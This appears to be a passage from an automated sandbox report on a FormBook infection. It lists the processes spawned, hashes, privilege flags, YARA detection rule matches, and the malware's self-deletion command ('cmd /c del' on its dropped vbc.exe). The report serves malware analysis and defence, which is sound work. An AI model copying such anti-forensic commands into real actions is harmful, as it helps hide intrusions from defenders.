rolSet001\services\ASP.NET_4.0.30319\Names

qpSGUDfCvhQcyfU1YDz
odbqEIKyoQ4
ZfNbE4GNE9tHObwbk7S
r03EN2PGvSC
MTWXNLqBVZK4M30zn
1SgOUJI2MBlbk
yCFcxGDv2HCRzgzJpCs
bGcj41F4L

dword 2436 success or wait 1 6A43C37E unknown

File ActivitiesFile Activities

Start time: 21:16:01

Start date: 26/11/2020

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0xf90000

File size: 515072 bytes

MD5 hash: 4A105D55BFF1F7304E01CE7198BADA6B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2169851044.00000000002B0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2169851044.00000000002B0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2169851044.00000000002B0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2169870384.00000000002E0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2169870384.00000000002E0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2169870384.00000000002E0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2169888431.0000000000400000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2169888431.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2169888431.0000000000400000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: low

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1314112 success or wait 1 4182A7 NtReadFile

Analysis Process: vbc.exe PID: 2768 Parent PID: 2436Analysis Process: vbc.exe PID: 2768 Parent PID: 2436

General

File ReadFile Read

Analysis Process: explorer.exe PID: 1388 Parent PID: 2768Analysis Process: explorer.exe PID: 1388 Parent PID: 2768

General
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File ActivitiesFile Activities

Start time: 21:16:02

Start date: 26/11/2020

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0xffca0000

File size: 3229696 bytes

MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 21:16:16

Start date: 26/11/2020

Path: C:\Windows\SysWOW64\explorer.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\explorer.exe

Imagebase: 0xf00000

File size: 2972672 bytes

MD5 hash: 6DDCA324434FFA506CF7DC4E51DB7935

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2346887922.0000000000220000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.2346887922.0000000000220000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2346887922.0000000000220000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2346860528.00000000001F0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.2346860528.00000000001F0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2346860528.00000000001F0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2346737399.0000000000080000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.2346737399.0000000000080000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2346737399.0000000000080000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: high

Analysis Process: explorer.exe PID: 2792 Parent PID: 1388Analysis Process: explorer.exe PID: 2792 Parent PID: 1388

General

File ReadFile Read
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Disassembly

Code Analysis

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1314112 success or wait 1 982A7 NtReadFile

File ActivitiesFile Activities

Start time: 21:16:20

Start date: 26/11/2020

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\Public\vbc.exe'

Imagebase: 0x4abf0000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Completion Count
Source
Address Symbol

C:\Users\Public\vbc.exe success or wait 1 4ABFA7BD DeleteFileW

Analysis Process: cmd.exe PID: 2804 Parent PID: 2792Analysis Process: cmd.exe PID: 2804 Parent PID: 2792

General

File DeletedFile Deleted
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